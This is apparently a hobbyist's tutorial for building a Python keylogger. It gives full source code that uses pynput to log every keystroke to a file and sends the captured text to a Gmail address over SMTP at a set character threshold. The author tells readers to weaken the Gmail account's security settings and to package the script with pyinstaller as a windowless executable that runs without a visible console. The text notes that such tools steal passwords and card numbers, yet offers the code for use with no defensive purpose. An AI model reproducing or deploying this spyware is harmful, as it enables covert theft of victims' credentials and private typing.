A keylogger is a type of surveillance technology used to monitor and record each keystroke typed on a specific computer's keyboard. In this tutorial, you will learn how to write a keylogger in Python.

You are maybe wondering, why a keylogger is useful ? Well, when a hacker uses this for unethical purposes, he/she will gather information of everything you type in the keyboard including your credentials (credit card numbers, passwords, etc.).

First, we gonna need to install a module called pynput, go to the terminal or the command prompt and write:

pip3 install pynput

This module allows you to take full control of your keyboard, hook global events, register hotkeys, simulate key presses and much more.

Let us start by import the necessary modules:

  import logging #for logging to a file
  import smtplib #for sending email using SMTP protocol (gmail)

  from pynput.keyboard import Key, Listener #for keylogs
  from random import randint #for generating random file name

If you are to report key logs via email, then you should set up a Gmail account and make sure that:

1. Less secure app access is ON.
2. 2-Step Verification is OFF.

Generate the logging file:

output = '3ke' + str(randint(0, 10000)) + '.txt'

log_dir = ""

logging.basicConfig(filename=(log_dir + output), level=logging.DEBUG, format='%(asctime)s: %(message)s')

Setup email that receives the keystrokes

email = 'your@gmail.com'
password = 'password'
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.login(email, password)

full_log = ""
word = ""
email_char_limit = 60 #set how many charcters to store before sending 

The code that append the key that is press and save :

def on_press(key, false=None):
    global word
    global full_log
    global email
    global email_char_limit
    logging.info(str(key))

    if key == Key.space or key == Key.enter:
        word += ' '
        full_log += word
        word = ''
        if len(full_log) >= email_char_limit:
            send_log()
            full_log = ''
    elif key == Key.shift_l or key == Key.shift_r:
        return
    elif key == Key.backspace:
        word = word[:-1]
    else:
        char = f'{key}'
        char = char[1:-1]
        word += char

    if key == Key.esc:
        return false 

The code that sends the append keys that is press :

def send_log():
    server.sendmail(
        email,
        email,
        full_log
    )

with Listener(on_press=on_press) as listener:
    listener.join()

To convert it to executable file using pyinstaller:

First install PYINSTALLER

pip install pyinstaller

Then navigate to the project directory of the main py file with cmd and run this code

pyinstaller --onefile -w 'fileName.py' #-w for no console

My first coding using python